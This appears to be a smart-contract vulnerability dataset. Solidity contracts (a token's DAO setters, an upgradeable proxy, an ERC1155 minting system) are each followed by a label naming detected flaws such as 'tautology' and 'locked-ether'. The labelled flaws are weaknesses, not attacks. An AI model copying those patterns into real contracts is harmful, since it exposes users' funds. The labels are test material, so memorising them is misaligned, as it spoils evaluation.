function daoSetTokenIdRange(uint256 tokenIdStart_, uint256 tokenIdEnd_)
external
onlyOwner
{
tokenIdStart = tokenIdStart_;
tokenIdEnd = tokenIdEnd_;
}
/// @notice Allows the DAO to set a season for new Neuro Credits claims
/// @param season_ The season to use for claiming gear
function daoSetSeason(uint256 season_) public onlyOwner {
season = season_;
}
/// @notice Allows the DAO to set the amount of Neuro Credits that is
/// claimed per token ID
/// @param NeuroCreditDisplayValue The amount of gear a user can claim.
/// This should be input as the display value, not in raw decimals. If you
/// want to mint 100 gear, you should enter "100" rather than the value of
/// 100 * 10^18.
function daoSetNeuroCreditPerTokenId(uint256 NeuroCreditDisplayValue)
public
onlyOwner
{
NeuroCreditPerTokenId = NeuroCreditDisplayValue * (10**decimals());
}
/// @notice Allows the DAO to set the season and Neuro Credits per token ID
/// in one transaction. This ensures that there is not a gap where a user
/// can claim more Neuro Credits than others
/// @param season_ The season to use for claiming gear
/// @param NeuroCreditDisplayValue The amount of gear a user can claim.
/// This should be input as the display value, not in raw decimals. If you
/// want to mint 100 gear, you should enter "100" rather than the value of
/// 100 * 10^18.
/// @dev We would save a tiny amount of gas by modifying the season and
/// NeuroCredit variables directly. It is better practice for security,
/// however, to avoid repeating code. This function is so rarely used that
/// it's not worth moving these values into their own internal function to
/// skip the gas used on the modifier check.
function daoSetSeasonAndNeuroCreditPerTokenID(
uint256 season_,
uint256 NeuroCreditDisplayValue
) external onlyOwner {
daoSetSeason(season_);
daoSetNeuroCreditPerTokenId(NeuroCreditDisplayValue);
}
} | These are the vulnerabilities found
1) tautology with Medium impact |
// File: @openzeppelin/contracts/proxy/Proxy.sol
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// File: contracts/Proxy.sol
pragma solidity ^0.8.4;
contract UnstructuredProxy is Proxy {
// Storage position of the address of the current implementation
bytes32 private constant implementationPosition =
keccak256("org.smartdefi.implementation.address");
// Storage position of the owner of the contract
bytes32 private constant proxyOwnerPosition =
keccak256("org.smartdefi.proxy.owner");
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyProxyOwner() {
require (msg.sender == proxyOwner(), "Not Proxy owner");
_;
}
/**
* @dev the constructor sets owner
*/
constructor() {
_setUpgradeabilityOwner(msg.sender);
}
/**
* @dev Allows the current owner to transfer ownership
* @param _newOwner The address to transfer ownership to
*/
function transferProxyOwnership(address _newOwner)
public onlyProxyOwner
{
require(_newOwner != address(0));
_setUpgradeabilityOwner(_newOwner);
}
/**
* @dev Allows the proxy owner to upgrade the implementation
* @param _impl address of the new implementation
*/
function upgradeTo(address _impl)
public onlyProxyOwner
{
_upgradeTo(_impl);
}
/**
* @dev Tells the address of the current implementation
* @return impl address of the current implementation
*/
function _implementation()
internal
view
override
returns (address impl)
{
bytes32 position = implementationPosition;
assembly {
impl := sload(position)
}
}
function implementation() external view returns (address) {
return _implementation();
}
/**
* @dev Tells the address of the owner
* @return owner the address of the owner
*/
function proxyOwner() public view returns (address owner) {
bytes32 position = proxyOwnerPosition;
assembly {
owner := sload(position)
}
}
/**
* @dev Sets the address of the current implementation
* @param _newImplementation address of the new implementation
*/
function _setImplementation(address _newImplementation)
internal
{
bytes32 position = implementationPosition;
assembly {
sstore(position, _newImplementation)
}
}
/**
* @dev Upgrades the implementation address
* @param _newImplementation address of the new implementation
*/
function _upgradeTo(address _newImplementation) internal {
address currentImplementation = _implementation();
require(currentImplementation != _newImplementation);
_setImplementation(_newImplementation);
}
/**
* @dev Sets the address of the owner
*/
function _setUpgradeabilityOwner(address _newProxyOwner)
internal
{
bytes32 position = proxyOwnerPosition;
assembly {
sstore(position, _newProxyOwner)
}
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../library/LibSafeMath.sol";
import "../ERC1155Mintable.sol";
import "../mixin/MixinOwnable.sol";
import "../mixin/MixinPausable.sol";
import "../HashRegistry.sol";
contract SagaGenesisGrantMinter is Ownable, MixinPausable {
using LibSafeMath for uint256;
uint256 public tokenType;
uint256 public genesisTokenType1;
uint256 public genesisTokenType2;
ERC1155Mintable public mintableErc1155;
HashRegistry public registry;
mapping (address => uint256) public mintedCount;
mapping (address => bool) public permittedProxies;
// max total minting supply
uint256 immutable maxMintingSupply;
uint256 public maxIndex = 0;
constructor(
address _registry,
address _mintableErc1155,
uint256 _tokenType,
uint256 _genesisTokenType1,
uint256 _genesisTokenType2,
uint256 _maxMintingSupply
) {
registry = HashRegistry(_registry);
mintableErc1155 = ERC1155Mintable(_mintableErc1155);
tokenType = _tokenType;
genesisTokenType1 = _genesisTokenType1;
genesisTokenType2 = _genesisTokenType2;
maxMintingSupply = _maxMintingSupply;
}
modifier onlyUnderMaxSupply(uint256 mintingAmount) {
require(maxIndex + mintingAmount <= maxMintingSupply, 'max supply minted');
_;
}
modifier onlyUnderGenesisMintedCount(address permitted, uint256 mintingAmount) {
require(mintedCount[permitted] + mintingAmount <= (mintableErc1155.balanceOf(permitted, genesisTokenType1) + mintableErc1155.balanceOf(permitted, genesisTokenType2)), 'exceeded genesis minted count');
_;
}
modifier onlyProxy() {
require(permittedProxies[_msgSender()] == true, 'not called from a valid proxy');
_;
}
function pause() external onlyOwner() {
_pause();
}
function unpause() external onlyOwner() {
_unpause();
}
function setPermittedProxies(address _proxy, bool _status) external onlyOwner() {
permittedProxies[_proxy] = _status;
}
function mint(address[] calldata _dsts, uint256[] calldata _txHashes) public payable whenNotPaused() onlyUnderGenesisMintedCount(_msgSender(), _dsts.length) onlyUnderMaxSupply(_dsts.length) {
require(_dsts.length == _txHashes.length, "dsts, txhashes length mismatch");
mintedCount[_msgSender()] = mintedCount[_msgSender()] + _dsts.length;
_mint(_dsts, _txHashes);
}
function mintByProxy(address[] calldata _dsts, uint256[] calldata _txHashes) public payable onlyProxy() whenNotPaused() onlyUnderGenesisMintedCount(_txOrigin(), _dsts.length) onlyUnderMaxSupply(_dsts.length) {
require(_dsts.length == _txHashes.length, "dsts, txhashes length mismatch");
mintedCount[_txOrigin()] = mintedCount[_txOrigin()] + _dsts.length;
_mint(_dsts, _txHashes);
}
function _mint(address[] memory dsts, uint256[] memory txHashes) internal {
uint256[] memory tokenIds = new uint256[](dsts.length);
for (uint256 i = 0; i < dsts.length; ++i) {
uint256 index = maxIndex + 1 + i;
uint256 tokenId = tokenType | index;
tokenIds[i] = tokenId;
}
mintableErc1155.mintNonFungible(tokenType, dsts);
registry.writeToRegistry(tokenIds, txHashes);
maxIndex += dsts.length;
}
}
pragma solidity ^0.7.0;
import "./LibRichErrors.sol";
import "./LibSafeMathRichErrors.sol";
library LibSafeMath {
function safeMul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
if (c / a != b) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.MULTIPLICATION_OVERFLOW,
a,
b
));
}
return c;
}
function safeDiv(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (b == 0) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.DIVISION_BY_ZERO,
a,
b
));
}
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (b > a) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.SUBTRACTION_UNDERFLOW,
a,
b
));
}
return a - b;
}
function safeAdd(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
if (c < a) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.ADDITION_OVERFLOW,
a,
b
));
}
return c;
}
function max256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
}
pragma solidity ^0.7.0;
import "./library/LibSafeMath.sol";
import "./library/LibAddress.sol";
import "./ERC1155.sol";
import "./interface/IERC1155Mintable.sol";
import "./mixin/MixinOwnable.sol";
import "./mixin/MixinContractURI.sol";
import "./mixin/MixinTokenURI.sol";
/// @dev Mintable form of ERC1155
/// Shows how easy it is to mint new items
contract ERC1155Mintable is
IERC1155Mintable,
ERC1155,
MixinContractURI,
MixinTokenURI
{
using LibSafeMath for uint256;
using LibAddress for address;
uint256 internal nonce;
/// mapping from token to max index
mapping (uint256 => uint256) public maxIndex;
mapping (uint256 => mapping(address => bool)) internal creatorApproval;
modifier onlyCreator(uint256 _id) {
require(creatorApproval[_id][msg.sender], "not an approved creator of id");
_;
}
function setCreatorApproval(uint256 id, address creator, bool status) external onlyCreator(id) {
creatorApproval[id][creator] = status;
}
/// @dev creates a new token
/// @param isNF is non-fungible token
/// @return type_ of token (a unique identifier)
function create(
bool isNF
)
external
override
onlyOwner()
returns (uint256 type_)
{
// Store the type in the upper 128 bits
type_ = (++nonce << 128);
// Set a flag if this is an NFI.
if (isNF) {
type_ = type_ | TYPE_NF_BIT;
}
creatorApproval[type_][msg.sender] = true;
// emit a Transfer event with Create semantic to help with discovery.
emit TransferSingle(
msg.sender,
address(0x0),
address(0x0),
type_,
0
);
emit URI(uri(type_), type_);
}
/// @dev creates a new token
/// @param type_ of token
function createWithType(
uint256 type_
)
external
onlyOwner()
{
creatorApproval[type_][msg.sender] = true;
// emit a Transfer event with Create semantic to help with discovery.
emit TransferSingle(
msg.sender,
address(0x0),
address(0x0),
type_,
0
);
emit URI(uri(type_), type_);
}
/// @dev mints fungible tokens
/// @param id token type
/// @param to beneficiaries of minted tokens
/// @param quantities amounts of minted tokens
function mintFungible(
uint256 id,
address[] calldata to,
uint256[] calldata quantities
)
external
override
onlyCreator(id)
{
// sanity checks
require(
isFungible(id),
"TRIED_TO_MINT_FUNGIBLE_FOR_NON_FUNGIBLE_TOKEN"
);
// mint tokens
for (uint256 i = 0; i < to.length; ++i) {
// cache to reduce number of loads
address dst = to[i];
uint256 quantity = quantities[i];
// Grant the items to the caller
balances[id][dst] = quantity.safeAdd(balances[id][dst]);
// Emit the Transfer/Mint event.
// the 0x0 source address implies a mint
// It will also provide the circulating supply info.
emit TransferSingle(
msg.sender,
address(0x0),
dst,
id,
quantity
);
// if `to` is a contract then trigger its callback
if (dst.isContract()) {
bytes4 callbackReturnValue = IERC1155Receiver(dst).onERC1155Received(
msg.sender,
msg.sender,
id,
quantity,
""
);
require(
callbackReturnValue == ERC1155_RECEIVED,
"BAD_RECEIVER_RETURN_VALUE"
);
}
}
}
/// @dev mints a non-fungible token
/// @param type_ token type
/// @param to beneficiaries of minted tokens
function mintNonFungible(
uint256 type_,
address[] calldata to
)
external
override
onlyCreator(type_)
{
require(
isNonFungible(type_),
"TRIED_TO_MINT_NON_FUNGIBLE_FOR_FUNGIBLE_TOKEN"
);
// Index are 1-based.
uint256 index = maxIndex[type_] + 1;
for (uint256 i = 0; i < to.length; ++i) {
// cache to reduce number of loads
address dst = to[i];
uint256 id = type_ | index + i;
nfOwners[id] = dst;
// You could use base-type id to store NF type balances if you wish.
balances[type_][dst] = balances[type_][dst].safeAdd(1);
emit TransferSingle(msg.sender, address(0x0), dst, id, 1);
// if `to` is a contract then trigger its callback
if (dst.isContract()) {
bytes4 callbackReturnValue = IERC1155Receiver(dst).onERC1155Received(
msg.sender,
msg.sender,
id,
1,
""
);
require(
callbackReturnValue == ERC1155_RECEIVED,
"BAD_RECEIVER_RETURN_VALUE"
);
}
}
// record the `maxIndex` of this nft type
// this allows us to mint more nft's of this type in a subsequent call.
maxIndex[type_] = to.length.safeAdd(maxIndex[type_]);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract MixinPausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
pragma solidity ^0.7.0;
import "./library/LibSafeMath.sol";
import "./ERC1155Mintable.sol";
import "./mixin/MixinOwnable.sol";
contract HashRegistry is Ownable {
using LibSafeMath for uint256;
ERC1155Mintable public mintableErc1155;
mapping(uint256 => uint256) public tokenIdToTxHash;
mapping(uint256 => uint256) public txHashToTokenId;
mapping(address => bool) public permissedWriters;
constructor(
address _mintableErc1155
) {
permissedWriters[msg.sender] = true;
mintableErc1155 = ERC1155Mintable(_mintableErc1155);
}
event UpdatedRegistry(
uint256 tokenId,
uint256 txHash
);
modifier onlyIfPermissed(address writer) {
require(permissedWriters[writer] == true, "writer can't write to registry");
_;
}
function updatePermissedWriterStatus(address _writer, bool status) public onlyIfPermissed(msg.sender) {
permissedWriters[_writer] = status;
}
function writeToRegistry(uint256[] memory tokenIds, uint256[] memory txHashes) public onlyIfPermissed(msg.sender) {
require(tokenIds.length == txHashes.length, "tokenIds and txHashes size mismatch");
for (uint256 i = 0; i < tokenIds.length; ++i) {
uint256 tokenId = tokenIds[i];
uint256 txHash = txHashes[i];
require(mintableErc1155.ownerOf(tokenId) != address(0), 'token does not exist');
require(txHashToTokenId[txHash] == 0, 'txHash already exists');
require(tokenIdToTxHash[tokenId] == 0, 'tokenId already exists');
tokenIdToTxHash[tokenId] = txHash;
txHashToTokenId[txHash] = tokenId;
emit UpdatedRegistry(tokenId, txHash);
}
}
}
pragma solidity ^0.7.0;
library LibRichErrors {
// bytes4(keccak256("Error(string)"))
bytes4 internal constant STANDARD_ERROR_SELECTOR =
0x08c379a0;
// solhint-disable func-name-mixedcase
/// @dev ABI encode a standard, string revert error payload.
/// This is the same payload that would be included by a `revert(string)`
/// solidity statement. It has the function signature `Error(string)`.
/// @param message The error string.
/// @return The ABI encoded error.
function StandardError(
string memory message
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
STANDARD_ERROR_SELECTOR,
bytes(message)
);
}
// solhint-enable func-name-mixedcase
/// @dev Reverts an encoded rich revert reason `errorData`.
/// @param errorData ABI encoded error data.
function rrevert(bytes memory errorData)
internal
pure
{
assembly {
revert(add(errorData, 0x20), mload(errorData))
}
}
}
pragma solidity ^0.7.0;
library LibSafeMathRichErrors {
// bytes4(keccak256("Uint256BinOpError(uint8,uint256,uint256)"))
bytes4 internal constant UINT256_BINOP_ERROR_SELECTOR =
0xe946c1bb;
// bytes4(keccak256("Uint256DowncastError(uint8,uint256)"))
bytes4 internal constant UINT256_DOWNCAST_ERROR_SELECTOR =
0xc996af7b;
enum BinOpErrorCodes {
ADDITION_OVERFLOW,
MULTIPLICATION_OVERFLOW,
SUBTRACTION_UNDERFLOW,
DIVISION_BY_ZERO
}
enum DowncastErrorCodes {
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT32,
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT64,
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT96
}
// solhint-disable func-name-mixedcase
function Uint256BinOpError(
BinOpErrorCodes errorCode,
uint256 a,
uint256 b
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
UINT256_BINOP_ERROR_SELECTOR,
errorCode,
a,
b
);
}
function Uint256DowncastError(
DowncastErrorCodes errorCode,
uint256 a
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
UINT256_DOWNCAST_ERROR_SELECTOR,
errorCode,
a
);
}
}
pragma solidity ^0.7.0;
/**
* Utility library of inline functions on addresses
*/
library LibAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.7.0;
import "./library/LibSafeMath.sol";
import "./library/LibAddress.sol";
import "./interface/IERC1155.sol";
import "./interface/IERC1155Receiver.sol";
import "./mixin/MixinNonFungibleToken.sol";
import "./mixin/MixinOwnable.sol";
import "./WhitelistExchangesProxy.sol";
contract ERC1155 is
IERC1155,
MixinNonFungibleToken,
Ownable
{
using LibAddress for address;
using LibSafeMath for uint256;
// selectors for receiver callbacks
bytes4 constant public ERC1155_RECEIVED = 0xf23a6e61;
bytes4 constant public ERC1155_BATCH_RECEIVED = 0xbc197c81;
// id => (owner => balance)
mapping (uint256 => mapping(address => uint256)) internal balances;
// owner => (operator => approved)
mapping (address => mapping(address => bool)) internal operatorApproval;
address public exchangesRegistry;
function setExchangesRegistry(address newExchangesRegistry) external onlyOwner() {
exchangesRegistry = newExchangesRegistry;
}
/// @notice Transfers value amount of an _id from the _from address to the _to address specified.
/// @dev MUST emit TransferSingle event on success.
/// Caller must be approved to manage the _from account's tokens (see isApprovedForAll).
/// MUST throw if `_to` is the zero address.
/// MUST throw if balance of sender for token `_id` is lower than the `_value` sent.
/// MUST throw on any other error.
/// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0).
/// If so, it MUST call `onERC1155Received` on `_to` and revert if the return value
/// is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`.
/// @param from Source address
/// @param to Target address
/// @param id ID of the token type
/// @param value Transfer amount
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 value,
bytes calldata data
)
override
external
{
// sanity checks
require(
to != address(0x0),
"CANNOT_TRANSFER_TO_ADDRESS_ZERO"
);
require(
from == msg.sender || isApprovedForAll(from, msg.sender),
"INSUFFICIENT_ALLOWANCE"
);
// perform transfer
if (isNonFungible(id)) {
require(
value == 1,
"AMOUNT_EQUAL_TO_ONE_REQUIRED"
);
require(
nfOwners[id] == from,
"NFT_NOT_OWNED_BY_FROM_ADDRESS"
);
nfOwners[id] = to;
// You could keep balance of NF type in base type id like so:
// uint256 baseType = getNonFungibleBaseType(_id);
// balances[baseType][_from] = balances[baseType][_from].safeSub(_value);
// balances[baseType][_to] = balances[baseType][_to].safeAdd(_value);
} else {
balances[id][from] = balances[id][from].safeSub(value);
balances[id][to] = balances[id][to].safeAdd(value);
}
emit TransferSingle(msg.sender, from, to, id, value);
// if `to` is a contract then trigger its callback
if (to.isContract()) {
bytes4 callbackReturnValue = IERC1155Receiver(to).onERC1155Received(
msg.sender,
from,
id,
value,
data
);
require(
callbackReturnValue == ERC1155_RECEIVED,
"BAD_RECEIVER_RETURN_VALUE"
);
}
}
/// @notice Send multiple types of Tokens from a 3rd party in one transfer (with safety call).
/// @dev MUST emit TransferBatch event on success.
/// Caller must be approved to manage the _from account's tokens (see isApprovedForAll).
/// MUST throw if `_to` is the zero address.
/// MUST throw if length of `_ids` is not the same as length of `_values`.
/// MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_values` sent.
/// MUST throw on any other error.
/// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0).
/// If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return value
/// is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`.
/// @param from Source addresses
/// @param to Target addresses
/// @param ids IDs of each token type
/// @param values Transfer amounts per token type
/// @param data Additional data with no specified format, sent in call to `_to`
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
override
external
{
// sanity checks
require(
to != address(0x0),
"CANNOT_TRANSFER_TO_ADDRESS_ZERO"
);
require(
ids.length == values.length,
"TOKEN_AND_VALUES_LENGTH_MISMATCH"
);
// Only supporting a global operator approval allows us to do
// only 1 check and not to touch storage to handle allowances.
require(
from == msg.sender || isApprovedForAll(from, msg.sender),
"INSUFFICIENT_ALLOWANCE"
);
// perform transfers
for (uint256 i = 0; i < ids.length; ++i) {
// Cache value to local variable to reduce read costs.
uint256 id = ids[i];
uint256 value = values[i];
if (isNonFungible(id)) {
require(
value == 1,
"AMOUNT_EQUAL_TO_ONE_REQUIRED"
);
require(
nfOwners[id] == from,
"NFT_NOT_OWNED_BY_FROM_ADDRESS"
);
nfOwners[id] = to;
} else {
balances[id][from] = balances[id][from].safeSub(value);
balances[id][to] = balances[id][to].safeAdd(value);
}
}
emit TransferBatch(msg.sender, from, to, ids, values);
// if `to` is a contract then trigger its callback
if (to.isContract()) {
bytes4 callbackReturnValue = IERC1155Receiver(to).onERC1155BatchReceived(
msg.sender,
from,
ids,
values,
data
);
require(
callbackReturnValue == ERC1155_BATCH_RECEIVED,
"BAD_RECEIVER_RETURN_VALUE"
);
}
}
/// @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
/// @dev MUST emit the ApprovalForAll event on success.
/// @param operator Address to add to the set of authorized operators
/// @param approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address operator, bool approved) external override {
operatorApproval[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
/// @notice Queries the approval status of an operator for a given owner.
/// @param owner The owner of the Tokens
/// @param operator Address of authorized operator
/// @return True if the operator is approved, false if not
function isApprovedForAll(address owner, address operator) public override view returns (bool) {
bool approved = operatorApproval[owner][operator];
if (!approved && exchangesRegistry != address(0)) {
return WhitelistExchangesProxy(exchangesRegistry).isAddressWhitelisted(operator) == true;
}
return approved;
}
/// @notice Get the balance of an account's Tokens.
/// @param owner The address of the token holder
/// @param id ID of the Token
/// @return The _owner's balance of the Token type requested
function balanceOf(address owner, uint256 id) external override view returns (uint256) {
if (isNonFungibleItem(id)) {
return nfOwners[id] == owner ? 1 : 0;
}
return balances[id][owner];
}
/// @notice Get the balance of multiple account/token pairs
/// @param owners The addresses of the token holders
/// @param ids ID of the Tokens
/// @return balances_ The _owner's balance of the Token types requested
function balanceOfBatch(address[] calldata owners, uint256[] calldata ids) external override view returns (uint256[] memory balances_) {
// sanity check
require(
owners.length == ids.length,
"OWNERS_AND_IDS_MUST_HAVE_SAME_LENGTH"
);
// get balances
balances_ = new uint256[](owners.length);
for (uint256 i = 0; i < owners.length; ++i) {
uint256 id = ids[i];
if (isNonFungibleItem(id)) {
balances_[i] = nfOwners[id] == owners[i] ? 1 : 0;
} else {
balances_[i] = balances[id][owners[i]];
}
}
return balances_;
}
bytes4 constant private INTERFACE_SIGNATURE_ERC165 = 0x01ffc9a7;
bytes4 constant private INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26;
function supportsInterface(bytes4 _interfaceID) external view returns (bool) {
if (_interfaceID == INTERFACE_SIGNATURE_ERC165 ||
_interfaceID == INTERFACE_SIGNATURE_ERC1155) {
return true;
}
return false;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.7.0;
import "./IERC1155.sol";
/// @dev Mintable form of ERC1155
/// Shows how easy it is to mint new items
interface IERC1155Mintable is
IERC1155
{
/// @dev creates a new token
/// @param isNF is non-fungible token
/// @return type_ of token (a unique identifier)
function create(
bool isNF
)
external
returns (uint256 type_);
/// @dev mints fungible tokens
/// @param id token type
/// @param to beneficiaries of minted tokens
/// @param quantities amounts of minted tokens
function mintFungible(
uint256 id,
address[] calldata to,
uint256[] calldata quantities
)
external;
/// @dev mints a non-fungible token
/// @param type_ token type
/// @param to beneficiaries of minted tokens
function mintNonFungible(
uint256 type_,
address[] calldata to
)
external;
}
pragma solidity ^0.7.0;
import "./MixinOwnable.sol";
contract MixinContractURI is Ownable {
string public contractURI;
function setContractURI(string calldata newContractURI) external onlyOwner() {
contractURI = newContractURI;
}
}
pragma solidity ^0.7.0;
import "./MixinOwnable.sol";
import "../library/LibString.sol";
contract MixinTokenURI is Ownable {
using LibString for string;
string public baseMetadataURI = "";
function setBaseMetadataURI(string memory newBaseMetadataURI) public onlyOwner() {
baseMetadataURI = newBaseMetadataURI;
}
function uri(uint256 _id) public view returns (string memory) {
return LibString.strConcat(
baseMetadataURI,
LibString.uint2hexstr(_id)
);
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.7.0;
/// @title ERC-1155 Multi Token Standard
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1155.md
/// Note: The ERC-165 identifier for this interface is 0xd9b67a26.
interface IERC1155 {
/// @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred,
/// including zero value transfers as well as minting or burning.
/// Operator will always be msg.sender.
/// Either event from address `0x0` signifies a minting operation.
